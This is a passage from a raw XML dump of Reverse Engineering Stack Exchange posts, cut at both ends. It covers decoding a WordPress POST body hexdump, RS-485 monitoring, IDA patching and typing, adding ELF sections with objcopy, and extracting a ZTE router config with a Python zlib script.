0000 1e00 1e6e 5065 085b 07d8 007f&#xA;00002d0 0400 0000 0000 0000 9800 076e 07d8 007f&#xA;00002e0 7000 0bbd 07d8 007f 0600 0000 0000 0000&#xA;00002f0 a000 0310 07d8 007f 0400 0000 0000 0000&#xA;0000300 e800 0769 07d8 007f 7000 00c7 07d8 007f&#xA;0000310 0600 0000 0000 0000 b000 00c7 07d8 007f&#xA;0000320 0400 0000 1d00 1d6a 0073 0000 0000 0000&#xA;0000330 e000 0bbc 07d8 007f 0600 0000 0900 6a1d&#xA;0000340 101d 0bbd 07d8 007f 0400 0000 1d00 7767&#xA;0000350 f800 076d 07d8 007f a000 01ac 07d8 007f&#xA;0000360 0600 0000 6800 741d d01d 01ac 07d8 007f&#xA;0000370 0400 0000 0900 661d 001d 0000 0000 0000&#xA;0000380 d000 00c6 07d8 007f 0600 0000 6d00 6c1d&#xA;0000390 1077 00c7 07d8 007f 0400 0000 7800 8400&#xA;00003a0 0000 0000 0000 0000 3000 09e8 07d8 007f&#xA;00003b0 0600 0000 0700 007f 1000 0ba8 07d8 007f&#xA;00003c0 0400 0000 0000 0000 0000 0000 0000 0000&#xA;00003d0 5000 0311 07d8 007f 0600 0000 0000 0000&#xA;00003e0 8000 0311 07d8 007f 0400 0000 8500 2700&#xA;00003f0 2000 076e 07d8 007f 6000 09e2 07d8 007f&#xA;0000400 0400 0000 0000 0000 2000 0ba4 07d8 007f&#xA;0000410 0400 0000 0000 1e27 002d 0000 0000 0000&#xA;0000420 1000 0185 07d8 007f 0600 0000 0700 007f&#xA;0000430 7000 01ac 00d8 000a&#xA;0000437&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a hexdump with &lt;code&gt;-C&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  00 04 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;00000010  00 40 e7 09 d8 07 7f 00  00 06 00 00 00 ff ff ff  |.@..............|&#xA;00000020  ff b0 af 05 d8 07 7f 00  00 04 00 00 00 00 00 00  |................|&#xA;00000030  00 00 00 00 00 00 00 00  00 40 d5 00 d8 07 7f 00  |.........@......|&#xA;00000040  00 05 00 00 00 1e 73 1e  65 10 d5 00 d8 07 7f 00  |......s.e.......|&#xA;00000050  00 04 00 00 00 1e 72 1e  6f 00 00 00 00 00 00 00  |......r.o.......|&#xA;00000060  00 40 bd 0b d8 07 7f 00  00 06 00 00 00 09 1d 6a  |.@.............j|&#xA;00000070  1d 80 00 0f d8 07 7f 00  00 04 00 00 00 1d 67 77  |..............gw|&#xA;00000080  00 d8 6f 07 d8 07 7f 00  00 00 e3 09 d8 07 7f 00  |..o.............|&#xA;00000090  00 04 00 00 00 68 1d 74  1d f0 a4 0b d8 07 7f 00  |.....h.t........|&#xA;000000a0  00 04 00 00 00 09 1d 66  1d e8 6e 07 d8 07 7f 00  |.......f..n.....|&#xA;000000b0  00 b0 e2 09 d8 07 7f 00  00 04 00 00 00 6d 1d 6c  |.............m.l|&#xA;000000c0  77 90 a4 0b d8 07 7f 00  00 04 00 00 00 00 00 00  |w...............|&#xA;000000d0  00 70 6e 07 d8 07 7f 00  00 80 5b 08 d8 07 7f 00  |.pn.......[.....|&#xA;000000e0  00 06 00 00 00 00 00 00  00 b0 00 0f d8 07 7f 00  |................|&#xA;000000f0  00 04 00 00 00 00 27 1e  2d 00 00 00 00 00 00 00  |......'.-.......|&#xA;00000100  00 10 fb 07 d8 07 7f 00  00 06 00 00 00 00 00 00  |................|&#xA;00000110  00 d0 a7 0b d8 07 7f 00  00 04 00 00 00 07 7f 00  |................|&#xA;00000120  00 00 00 00 00 00 00 00  00 10 a3 0b d8 07 7f 00  |................|&#xA;00000130  00 04 00 00 00 1e 72 1e  6f e0 a2 0b d8 07 7f 00  |......r.o.......|&#xA;00000140  00 04 00 00 00 00 2b 00  17 00 00 00 00 00 00 00  |......+.........|&#xA;00000150  00 20 a4 14 c0 07 7f 00  00 02 00 00 00 07 7f 00  |. ..............|&#xA;00000160  00 70 a3 02 d8 07 7f 00  00 04 00 00 00 00 00 00  |.p..............|&#xA;00000170  00 00 00 00 00 00 00 00  00 80 a4 05 d8 07 7f 00  |................|&#xA;00000180  00 05 00 00 00 00 00 00  00 50 a4 05 d8 07 7f 00  |.........P......|&#xA;00000190  00 04 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000001a0  00 00 9b 02 d8 07 7f 00  00 05 00 00 00 63 1d 73  |.............c.s|&#xA;000001b0  1d d0 9a 02 d8 07 7f 00  00 04 00 00 00 09 1d 6a  |...............j|&#xA;000001c0  1d 50 70 07 d8 07 7f 00  00 60 ad 01 d8 07 7f 00  |.Pp......`......|&#xA;000001d0  00 06 00 00 00 63 1d 6f  77 90 ad 01 d8 07 7f 00  |.....c.ow.......|&#xA;000001e0  00 04 00 00 00 68 1d 74  1d 80 6d 07 d8 07 7f 00  |.....h.t..m.....|&#xA;000001f0  00 a0 9c 11 d8 07 7f 00  00 05 00 00 00 00 09 1d  |................|&#xA;00000200  68 c0 f7 03 d8 07 7f 00  00 04 00 00 00 6d 1d 6c  |h............m.l|&#xA;00000210  77 00 00 00 00 00 00 00  00 b0 e1 09 d8 07 7f 00  |w...............|&#xA;00000220  00 04 00 00 00 00 00 00  00 50 a3 0b d8 07 7f 00  |.........P......|&#xA;00000230  00 04 00 00 00 07 7f 00  00 00 00 00 00 00 00 00  |................|&#xA;00000240  00 00 02 0f d8 07 7f 00  00 06 00 00 00 00 00 00  |................|&#xA;00000250  00 30 02 0f d8 07 7f 00  00 04 00 00 00 00 00 00  |.0..............|&#xA;00000260  00 00 00 00 00 00 00 00  00 80 a5 0b d8 07 7f 00  |................|&#xA;00000270  00 04 00 00 00 1e 73 1e  65 50 a5 0b d8 07 7f 00  |......s.eP......|&#xA;00000280  00 04 00 00 00 1e 72 1e  6f 00 00 00 00 00 00 00  |......r.o.......|&#xA;00000290  00 80 e3 00 d8 07 7f 00  00 05 00 00 00 00 00 00  |................|&#xA;000002a0  00 10 87 01 d8 07 7f 00  00 04 00 00 00 00 00 00  |................|&#xA;000002b0  00 00 00 00 00 00 00 00  00 80 76 12 d8 07 7f 00  |..........v.....|&#xA;000002c0  00 06 00 00 00 1e 6e 1e  65 50 5b 08 d8 07 7f 00  |......n.eP[.....|&#xA;000002d0  00 04 00 00 00 00 00 00  00 98 6e 07 d8 07 7f 00  |..........n.....|&#xA;000002e0  00 70 bd 0b d8 07 7f 00  00 06 00 00 00 00 00 00  |.p..............|&#xA;000002f0  00 a0 10 03 d8 07 7f 00  00 04 00 00 00 00 00 00  |................|&#xA;00000300  00 e8 69 07 d8 07 7f 00  00 70 c7 00 d8 07 7f 00  |..i......p......|&#xA;00000310  00 06 00 00 00 00 00 00  00 b0 c7 00 d8 07 7f 00  |................|&#xA;00000320  00 04 00 00 00 1d 6a 1d  73 00 00 00 00 00 00 00  |......j.s.......|&#xA;00000330  00 e0 bc 0b d8 07 7f 00  00 06 00 00 00 09 1d 6a  |...............j|&#xA;00000340  1d 10 bd 0b d8 07 7f 00  00 04 00 00 00 1d 67 77  |..............gw|&#xA;00000350  00 f8 6d 07 d8 07 7f 00  00 a0 ac 01 d8 07 7f 00  |..m.............|&#xA;00000360  00 06 00 00 00 68 1d 74  1d d0 ac 01 d8 07 7f 00  |.....h.t........|&#xA;00000370  00 04 00 00 00 09 1d 66  1d 00 00 00 00 00 00 00  |.......f........|&#xA;00000380  00 d0 c6 00 d8 07 7f 00  00 06 00 00 00 6d 1d 6c  |.............m.l|&#xA;00000390  77 10 c7 00 d8 07 7f 00  00 04 00 00 00 78 00 84  |w............x..|&#xA;000003a0  00 00 00 00 00 00 00 00  00 30 e8 09 d8 07 7f 00  |.........0......|&#xA;000003b0  00 06 00 00 00 07 7f 00  00 10 a8 0b d8 07 7f 00  |................|&#xA;000003c0  00 04 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;000003d0  00 50 11 03 d8 07 7f 00  00 06 00 00 00 00 00 00  |.P..............|&#xA;000003e0  00 80 11 03 d8 07 7f 00  00 04 00 00 00 85 00 27  |...............'|&#xA;000003f0  00 20 6e 07 d8 07 7f 00  00 60 e2 09 d8 07 7f 00  |. n......`......|&#xA;00000400  00 04 00 00 00 00 00 00  00 20 a4 0b d8 07 7f 00  |......... ......|&#xA;00000410  00 04 00 00 00 00 27 1e  2d 00 00 00 00 00 00 00  |......'.-.......|&#xA;00000420  00 10 85 01 d8 07 7f 00  00 06 00 00 00 07 7f 00  |................|&#xA;00000430  00 70 ac 01 d8 00 0a                              |.p.....|&#xA;00000437&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Headers are (excluding the hostname):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;POST //wp-json/wp/v2/posts/760 HTTP/1.1&#xA;&#xA;Content-Length: 1077&#xA;Accept-Encoding: gzip, deflate&#xA;Accept: */*&#xA;User-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-504.23.4.el6.x86_64&#xA;Connection: keep-alive&#xA;Content-Type: application/json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19319" LastEditorUserId="19319" LastEditDate="2017-02-27T19:39:37.737" LastActivityDate="2017-04-30T10:36:07.777" Title="Reverse engineering POST request body" Tags="|websites|rop|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14772" PostTypeId="2" ParentId="14756" CreationDate="2017-02-27T19:27:41.363" Score="1" Body="&lt;p&gt;I am working on the same thing, with a Renogy Commander.    Upvote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very similar to scraping web sites, because a lot of it is text and graphics to draw the screen, then there are variables with the values I want.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a search that can help point you in the right direction:  &lt;a href=&quot;https://www.google.com/search?newwindow=1&amp;amp;rlz=1C1PRFC_en___US704&amp;amp;q=how%20to%20monitor%20rs485%20cable%20commander&amp;amp;oq=how%20to%20monitor%20rs485%20cable%20commander&amp;amp;gs_l=serp.3..33i21k1.25194.41410.0.41644.30.24.0.0.0.0.603.3370.2-2j5j1j1.9.0....0...1c.1.64.serp..25.3.1105...33i160k1._--XgxF4M_k&quot; rel=&quot;nofollow noreferrer&quot;&gt;RS-485 monitoring&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RS485 is a bus-style system so monitoring it doesn't disrupt the flow.  I am not trying to control anything; just trying to periodic data logging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with a RJ-45 breakout board so I can easily pull off the wires I need for the RS-485 converters.  Here is the one I bought:  &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B015GWX9N6&quot; rel=&quot;nofollow noreferrer&quot;&gt;RJ-45 breakout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then picked up a RS485-to-USB unit:  &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00NKAJGZM&quot; rel=&quot;nofollow noreferrer&quot;&gt;RS485-to-USB&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this one wasn't so expensive I would also have gotten this:  &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B005CPI0JQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;RS485 I/O breakout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find these pinouts interesting:  &lt;a href=&quot;https://www.google.com/search?q=rs485%20pinouts%20on%20rj-45&amp;amp;newwindow=1&amp;amp;rlz=1C1PRFC_en___US704&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ved=0ahUKEwjT3LHfiLHSAhWoIsAKHVRMB8YQ_AUICCgB&amp;amp;biw=1920&amp;amp;bih=908&quot; rel=&quot;nofollow noreferrer&quot;&gt;RS485 pinouts on RJ-45&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this one:  &lt;a href=&quot;https://www.google.com/search?q=rs485%20pinouts%20on%20rj-45&amp;amp;newwindow=1&amp;amp;rlz=1C1PRFC_en___US704&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ved=0ahUKEwjT3LHfiLHSAhWoIsAKHVRMB8YQ_AUICCgB&amp;amp;biw=1920&amp;amp;bih=908#imgrc=qxVeTLJbisDMwM:&quot; rel=&quot;nofollow noreferrer&quot;&gt;RS485 pinouts on RJ-45&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or this:  &lt;a href=&quot;https://www.google.com/search?q=rs485%20pinouts%20on%20rj-45&amp;amp;newwindow=1&amp;amp;rlz=1C1PRFC_en___US704&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ved=0ahUKEwjT3LHfiLHSAhWoIsAKHVRMB8YQ_AUICCgB&amp;amp;biw=1920&amp;amp;bih=908#imgrc=osw5y6e4f3NCzM:&quot; rel=&quot;nofollow noreferrer&quot;&gt;RS485 pinouts on RJ-45&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particularly this one for monitoring only:  &lt;a href=&quot;https://www.google.com/search?q=rs485%20pinouts%20on%20rj-45&amp;amp;newwindow=1&amp;amp;rlz=1C1PRFC_en___US704&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ved=0ahUKEwjT3LHfiLHSAhWoIsAKHVRMB8YQ_AUICCgB&amp;amp;biw=1920&amp;amp;bih=908#imgrc=kzmkUMtOmU9kaM:&quot; rel=&quot;nofollow noreferrer&quot;&gt;RS-485 to RJ-45 Male&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am connecting a pigtail on the breakout that works as a pass-through for the regular connection, but pulling off just these pins for monitoring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, most RJ-45 terminated cables for RS485 will be straight-through.  Here are some examples:  &lt;a href=&quot;https://www.google.com/search?q=flat%20straight-through%20rj-45%20for%20rs485&amp;amp;newwindow=1&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ved=0ahUKEwjeiOyB27HSAhXlJMAKHdrsD-4Q_AUICCgB&amp;amp;biw=1366&amp;amp;bih=616&quot; rel=&quot;nofollow noreferrer&quot;&gt;RJ-45 terminated cable pinouts for RS-485&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As opposed to normal Ethernet cables that are TIA-568A or 568B like this:  &lt;a href=&quot;https://www.google.com/search?q=tia-568b&amp;amp;newwindow=1&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ved=0ahUKEwj5n9aC3LHSAhWIAcAKHQiwBvYQ_AUICCgB&amp;amp;biw=1366&amp;amp;bih=616&quot; rel=&quot;nofollow noreferrer&quot;&gt;TIA-568 A/B cables for Ethernet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are NOT interchangeable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I have searched I am finding very few people trying to do this, but there is a lot of information about RS-485.  Modbus is one thing, but it appears my brand uses nonstandard wiring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I am using my Win7 machine, (RS485-to-USB) but will soon move it all over to a Raspberry Pi 3 if I can get Debian drivers for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds like you are a bit ahead of me.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am processing all the data in Python.  &lt;/p&gt;&#xA;" OwnerUserId="18580" LastEditorUserId="18580" LastEditDate="2017-07-02T22:19:28.850" LastActivityDate="2017-07-02T22:19:28.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14773" PostTypeId="2" ParentId="14688" CreationDate="2017-02-27T20:35:53.107" Score="0" Body="&lt;p&gt;You can perform the task you're looking for using either one of the following approaches:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the built-in IDA feature to assemble instructions and patch the binary available by accessing &lt;code&gt;Edit &amp;gt; Patch Program &amp;gt; Assembly&lt;/code&gt; after highlighting the instruction you want to replace&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.keystone-engine.org/keypatch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Keypatch&lt;/a&gt; as it adds support for more architectures than what IDA provides by default&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19221" LastActivityDate="2017-02-27T20:35:53.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14774" PostTypeId="2" ParentId="14767" CreationDate="2017-02-27T20:43:42.273" Score="2" Body="&lt;p&gt;For the flags to be visible by the IT block, they need to be moved to APSR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that the &lt;code&gt;IT MI&lt;/code&gt; block will only have the flags from &lt;code&gt;VCMPE.F64  D17, D19&lt;/code&gt;, and the &lt;code&gt;IT GT&lt;/code&gt; block will only see the result of &lt;code&gt;VCMPE.F64  D17, D18&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D19 = 210.0;&#xA;R1 = 0;&#xA;D18 = 190.0;&#xA;R0 = 0;&#xA;if(D17 &amp;lt; D19) {&#xA;    R1 = 1;&#xA;}&#xA;if(D17 &amp;gt; D18) {&#xA;    R0 = 1;&#xA;}&#xA;if(D17 != D19){&#xA;    // goes to loc_2F348&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19321" LastActivityDate="2017-02-27T20:43:42.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14776" PostTypeId="1" AcceptedAnswerId="14777" CreationDate="2017-02-28T10:35:29.043" Score="2" ViewCount="832" Body="&lt;p&gt;I'm trying to reverse-engineer a function in &lt;code&gt;IDA Pro&lt;/code&gt; that was originally identified by &lt;code&gt;IDA&lt;/code&gt; as such (I was able to rename it into &lt;code&gt;Device_CreateCloseIoControl&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/paD8S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/paD8S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I know that this function was originally compiled as this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GQhD1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GQhD1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;DEVICE_OBJECT&lt;/code&gt; and &lt;code&gt;IRP&lt;/code&gt; structs are defined in &lt;code&gt;wdm.h&lt;/code&gt; from &lt;code&gt;Windows Driver Kit&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm curious, is there a way to rename this function to make &lt;code&gt;IDA&lt;/code&gt; use those custom types? (Included in a specific header file.)&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2017-02-28T11:27:42.253" Title="How to adjust function type/call parameters to custom structs in IDA Pro?" Tags="|ida|windows|debugging|binary-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14777" PostTypeId="2" ParentId="14776" CreationDate="2017-02-28T11:21:40.520" Score="2" Body="&lt;p&gt;To do this you need to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Define or import structures involved in function definition if not defined yet. You can add a structure via Structures window (View--&gt;Open Subviews--&gt;Structures, or &lt;kbd&gt;Shift-F9&lt;/kbd&gt;) , import the header file via File--&gt;Load file--&gt;Parse C header file, or &lt;kbd&gt;Ctrl-F9&lt;/kbd&gt; (this will also import typedefs if needed) or use a type library as described in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/13175/how-to-import-windows-ddk-headers-into-ida&quot;&gt;How to import Windows DDK headers into IDA?&lt;/a&gt; .&lt;/li&gt;&#xA;&lt;li&gt;After that you should locate cursor at the function definition, press &lt;kbd&gt;Y&lt;/kbd&gt; and enter C function prototype as it stated in the function definition.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-02-28T11:27:42.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14779" PostTypeId="1" AcceptedAnswerId="14780" CreationDate="2017-03-01T02:21:28.467" Score="6" ViewCount="9227" Body="&lt;p&gt;I am in Linux, and I have seen this question a few times but never, nobody answered how to really make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add a section to an already compiled binary. Lets say for a moment is an &lt;strong&gt;ELF&lt;/strong&gt; file. I'm using &lt;strong&gt;objcopy&lt;/strong&gt; so this should be generic for any format because &lt;strong&gt;objcopy&lt;/strong&gt; uses &lt;strong&gt;libbfd&lt;/strong&gt; that handles many formats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My process is as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I create the bytecode for a section I want to append to an already compiled ELF file. Let's name this file bytecode.bin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objcopy --add-section .mysection=bytecode.bin \&#xA;--set-section-flags .mysection=code,contents,alloc,load,readonly \&#xA;myprogram myprogram_edited&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I adjust the VMA of the secition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objcopy --adjust-section-vma .mysection=$((16#XXXXX)) myprogram_edited myprogram_edited&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where XXXXXX is the new VMA address for the section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the warning:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objcopy: stIbZt3t: warning: allocated section `.mysection' not in segment&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -d myprogram_edited&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly of section .mysection:&#xA;&#xA;0000000000201011 &amp;lt;.mysection&amp;gt;:&#xA;...&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I see the section is created OK and the VMA adjusted. But the section is not mapped to segments, so it can't be loaded at runtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I opted for using Intel's &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;PIN&lt;/a&gt; tool. Very useful and powerful for RI and binary injection.&lt;/p&gt;&#xA;" OwnerUserId="19332" LastEditorUserId="19332" LastEditDate="2018-05-11T15:16:54.880" LastActivityDate="2023-01-18T17:44:56.517" Title="How to SUCCESSFULLY add a code section to an executable file in Linux?" Tags="|binary-analysis|linux|elf|executable|binary-format|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14780" PostTypeId="2" ParentId="14779" CreationDate="2017-03-01T09:18:06.423" Score="6" Body="&lt;p&gt;&lt;code&gt;libbfd&lt;/code&gt; is not a magic wand, it is in fact pretty limited (it's one of the reasons why GDB cannot debug files without a section table). In particular, &lt;code&gt;objcopy&lt;/code&gt; won't add PHT entries for you, so you will have to extend or adjust the PHT manually. You can either do it manually with a hex editor or try using a library such as &lt;code&gt;libelf&lt;/code&gt; (it gives you necessary primitives but you'll need to implement the logic yourself).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-01T09:18:06.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14781" PostTypeId="2" ParentId="14711" CreationDate="2017-03-01T09:45:39.270" Score="14" Body="&lt;h2&gt;Hypothesis: the file is encrypted&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Absence of Compression Signatures&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant &lt;a href=&quot;https://github.com/devttys0/binwalk/blob/master/src/binwalk/magic/compressed&quot; rel=&quot;noreferrer&quot;&gt;compression formats that Binwalk detects&lt;/a&gt; are as follows: bzip2, lzop, lzip, lrzip, LZO, 7z, gzip, rzip, LZMA, zlib, and LZ4. Since running Binwalk against &lt;code&gt;H201LV2.0_Cur_config.bin&lt;/code&gt; returns no results even though Binwalk normally will recognize any of these compression formats is the first indicator that something other than or in addition to compression is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every tool has its limitations however, so I attempted to find byte sequences within the file header indicating the beginning of a sequence of compressed bytes manually by using the information from a zenhax.com forum post called &lt;a href=&quot;http://zenhax.com/viewtopic.php?f=4&amp;amp;t=27&quot; rel=&quot;noreferrer&quot;&gt;How to recognize the compression algorithms with your eyes&lt;/a&gt;, looking for Bzip2, zlib, gzip, LZMA, LZMA 86 head, LZMA 86 dec, LZMA 86 dec head, LZMA efs, LZMA headerless, LZMA2 and LZMA2 headerless compression signatures in particular. Here are the first few bytes of each compression signature:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;zlib: &lt;code&gt;78 da&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;gzip: &lt;code&gt;1f 8b&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;LZMA, LZMA 86 head, LZMA 86 dec, LZMA 86 dec head, LZMA efs: &lt;code&gt;5d 00 00 00&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;LZMA headerless: &lt;code&gt;00 44 94 a6&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;LZMA2: &lt;code&gt;18 e0 07 ce&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;LZMA2 headerless: &lt;code&gt;e0 07 ce 02&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The information regarding compression in the answers to this question on SO was also helpful: &lt;a href=&quot;https://stackoverflow.com/questions/19120676/how-to-detect-type-of-compression-used-on-the-file-if-no-file-extension-is-spe&quot;&gt;How to detect type of compression used on the file? (if no file extension is specified)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;file header&quot;, what I mean is the first 300 bytes or so (this question was used as a reference: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlib&quot;&gt;RE Compressed backup file,router linux based so is it compresed with zlib?&lt;/a&gt; since this question, also by Vido, involved ZTE router firmware and its compression signature was found). Unfortunately, staring at a hex dump of the file did not yield any useful information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Evidence from Additional Sources&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.forum.cdm.me/showthread.php?136710-ZTE-zxv10-h201l/page3&quot; rel=&quot;noreferrer&quot;&gt;Page 3&lt;/a&gt; of a thread called &lt;a href=&quot;http://www.forum.cdm.me/showthread.php?136710-ZTE-zxv10-h201l/page1&quot; rel=&quot;noreferrer&quot;&gt;ZTE zxv10 h201&lt;/a&gt; on a Montenegrin forum included some relevant posts as well as this buggy python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import re&#xA;import sys&#xA;import zlib&#xA;import struct&#xA;&#xA;ime_fajla = 'H201LV2.0_Cur_config.bin'&#xA;&#xA;def extract_config_xml(config_bin):&#xA;    config_xml = b''&#xA;    for zlib_chunk in re.finditer('\x78\xda', config_bin):&#xA;        zlib_chunk_start = zlib_chunk.start()&#xA;        zlib_chunk_header = config_bin[zlib_chunk_start - 12: zlib_chunk_start]&#xA;        xml_chunk_length, zlib_chunk_length, config_bin_length = \&#xA;            struct.unpack('&amp;gt;LLL', zlib_chunk_header)&#xA;        if xml_chunk_length == 0x10000 or config_bin_length == 0:&#xA;            zlib_chunk_end = zlib_chunk_start + zlib_chunk_length&#xA;            zlib_chunk = config_bin[zlib_chunk_start: zlib_chunk_end]&#xA;            xml_chunk = zlib.decompress(zlib_chunk)&#xA;            assert xml_chunk_length == len(xml_chunk)&#xA;            config_xml += xml_chunk&#xA;    return config_xml&#xA;&#xA;with open(ime_fajla, 'rb') as f:&#xA;    print extract_config_xml(f.read())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fixed up it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# decompress.py&#xA;import re&#xA;import sys&#xA;import zlib&#xA;import struct&#xA;&#xA;&#xA;filename = &quot;H201LV2.0_Cur_config.bin&quot;&#xA;def extract_config_xml (filename):&#xA;    config_xml = b''&#xA;    for zlib_chunk in re.finditer 